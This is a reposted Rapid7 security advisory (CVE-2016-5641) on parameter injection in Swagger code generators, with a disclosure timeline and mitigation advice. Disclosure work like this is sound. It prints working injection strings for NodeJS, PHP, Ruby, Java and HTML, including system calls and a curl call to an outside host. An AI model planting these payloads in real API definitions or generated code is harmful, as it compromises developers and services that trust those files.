Swagger 通过参数注入远程代码执行漏洞

详情来源： [R7-2016-06](https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641) This disclosure will address a class of vulnerabilities in a [Swagger Code Generator](https://github.com/swagger-api/swagger-codegen) in which injectable parameters in a Swagger JSON or YAML file facilitate remote code execution. This vulnerability applies to NodeJS, PHP, Ruby, and Java and probably other languages as well. Other [code](https://apimatic.io/) generation tools may also be vulnerable to parameter injection and could be affected by this approach. By leveraging this vulnerability, an attacker can inject arbitrary execution code embedded with a client or server generated automatically to interact with the definition of service. This is considered an abuse of trust in definition of service, and could be an interesting space for further research. According to swagger.io - “Swagger is a simple yet powerful representation of your RESTful API. With the largest ecosystem of API tooling on the planet, thousands of developers are supporting Swagger in almost every modern programming language and deployment environment. With a Swagger-enabled API, you get interactive documentation, client SDK generation, and discoverability.” Within the Swagger ecosystem, there are fantastic code generators which are designed to automagically take a Swagger document and then generate stub client code for the described API. This is a powerful part of the solution that makes it easy for companies to provide developers the ability to quickly make use of their APIs. The Swagger definitions are flexible enough to describe most RESTful API’s and give developers a great starting point for their API client. The problems discussed here is that several of these code generators do not take into account the possibility of a malicious Swagger definition document which results in a classic parameter injection, with a new twist on code generation. Maliciously crafted Swagger documents can be used to dynamically create HTTP API clients and servers with embedded arbitrary code execution in the underlying operating system. This is achieved by the fact that some parsers/generators trust insufficiently sanitized parameters within a Swagger document to generate a client code base. * On the client side, a vulnerability exists in trusting a malicious Swagger document to create any generated code base locally, most often in the form of a dynamically generated API client. * On the server side, a vulnerability exists in a service that consumes Swagger to dynamically generate and serve API clients, server mocks and testing specs. #### Client Side [swagger-codegen contains](http://swagger.io/swagger-codegen/) a template-driven engine to generate client code in different languages by parsing a Swagger Resource Declaration. It is packaged or referenced in several open source and public services provided by smartbear.com such as generator.swagger.io, editor.swagger.io, and swaggerhub.com. Other commercial products include restlet.com (restlet-studio) and restunited.com. These services appear to generate and store these artifacts (but not execute) and are able to be publicly downloaded and consumed. Remote code execution is achieved when the download artifact is executed on the target. #### Server Side Online services exist that consume Swagger documents and automatically generate and execute server-side application, test specs, and mock servers provide a potential for remote code execution. Some identified commercial platforms that follow this model include: vRest.io, ritc.io, restunited.com, stoplight.io, and runscope.com. #### Credit These issues were discovered by Scott Davis of Rapid7, Inc., and reported in accordance with Rapid7's [disclosure policy](https://www.rapid7.com/disclosure.jsp). #### Exploitation Please see the [associated Metasploit exploit module](https://github.com/rapid7/metasploit-framework/pull/7015) for examples for the following languages. [swagger-codegen](https://github.com/swagger-api/swagger-codegen) Swagger-codegen generates client and server code based on a Swagger document in which it trusts to specify inline variables in code unescaped (i.e. unescaped handlebars template variables). The javascript, html, php, ruby and java clients were tested for parameter injection vulnerabilities, and given in example as follows. ** javascript (node) ** Strings within keys inside the 'paths' object of a Swagger document can be written in the following manner and generate executable NodeJS. ``` "paths": { "/a');};};return exports;}));console.log('RCE');(function(){}(this,function(){a=function(){b=function(){new Array('": { ``` ** html ** Strings within the 'description' object of a Swagger document can be written with html 'script' tags, and loaded unescaped into a browser. ``` "info": { "description": "<script>alert(1)</script>", ``` ** php ** Strings within the 'description' object in the definitions section of a Swagger document can inject comments and inline php code. ``` "definitions": { "d": { "type": "object", "description": "*/ echo system(chr(0x6c).chr(0x73)); /*", ``` ** ruby ** Strings in 'description' and 'title' of a Swagger document can be used in unison to terminate block comments, and inject inline ruby code. ``` "info": { "description": "=begin", "title": "=end `curl -X POST -d \"fizz=buzz\" http://requestb.in/1ftnzfy1`" ``` ** java ** Strings within keys inside the 'paths' object of a Swagger document can be written in the following manner and generate executable Java. ``` "paths": { "/a\"; try{java.lang.Runtime.getRuntime().exec(\"ls\");}catch(Exception e){} \"": ``` ### Mitigations Until code generators are patched by their maintainers, users are advised to carefully inspect Swagger documents for language-specific escape sequences. Fixes need to be implemented by those creating code generation tools, in general this does not apply to the swagger documents themselves. Mitigations for all issues include properly escaping parameters before injecting, while taking into account the context the variable(s) are used in inline code creation, and what sanitization efforts are in place to ensure the context of trust for an API specification can maintain a level of code creation free for remote code execution in the known, easily avoidable cases. For example, using double brackets {{, instead of {{{ for handlebars templates will usually prevent many types of injection attacks that involve single or double quote termination, however this will not stop a determined attacker who can inject variables without sanitization logic into multi-line comments, inline code or variables. #### Mustache templates * {{{ code }}} or {{& code}} can be vulnerable in template and sanitization logic * {{ code }} can be vulnerable given context language of template (e.g. block quote) #### Where to be wary * inline code creation from variable * single ticks (') and quotes (") unescaped variable injection * block comment (initiator & terminator) injection #### Where it gets tricky * Arbitrary Set delimiter redefinition {{=< >=}} <={{ }}=> * Runtime Partial templates {{> partial}} set redefinition with alternate unescape {{=< >=}} <&foo> <={{ }}=> #### What to do in general * prefer escaped variables always {{foo}} * enforce single-line for commented variables // {{foo}} * sanitize ' & " in variables before unescaped insertion * encode ', in single quoted path strings. * encode ", in double quoted path strings It is recommended to consider usage of a sanitization tool such as the OWASP ESAPI. For the time being, a Github Pull Request is offered [here](https://github.com/swagger-api/swagger-codegen/issues/3201). Disclosure Timeline This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy. * Tue, Apr 19, 2016: Attempted to contact the vendor and the API team at Swagger.io. * Mon, May 09, 2016: Details disclosed to CERT (VU#755216). * Thu, Jun 16, 2016: Proposed patch supplied to CERT. * Wed, Jun 23, 2016: CVE-2016-5641 assigned by CERT. * Thu, Jun 23, 2016: Public disclosure and Metasploit module released. * Thu, Jun 23, 2016: Fix offered to swagger-codegen. ### Future of Swagger Starting January 1st, 2016, the Swagger Specification has been donated to the Open API Initiative (OAI) and is the foundation of the OpenAPI Specification. However, the name ‘Swagger’ is still the preferred naming in many a dinner party and dad joke, and was used in this document when referring to an OAS 2.0 specification documentation. In the typical case, a Swagger document defines a RESTful API. It implements a subset of the JSON Schema Draft 4.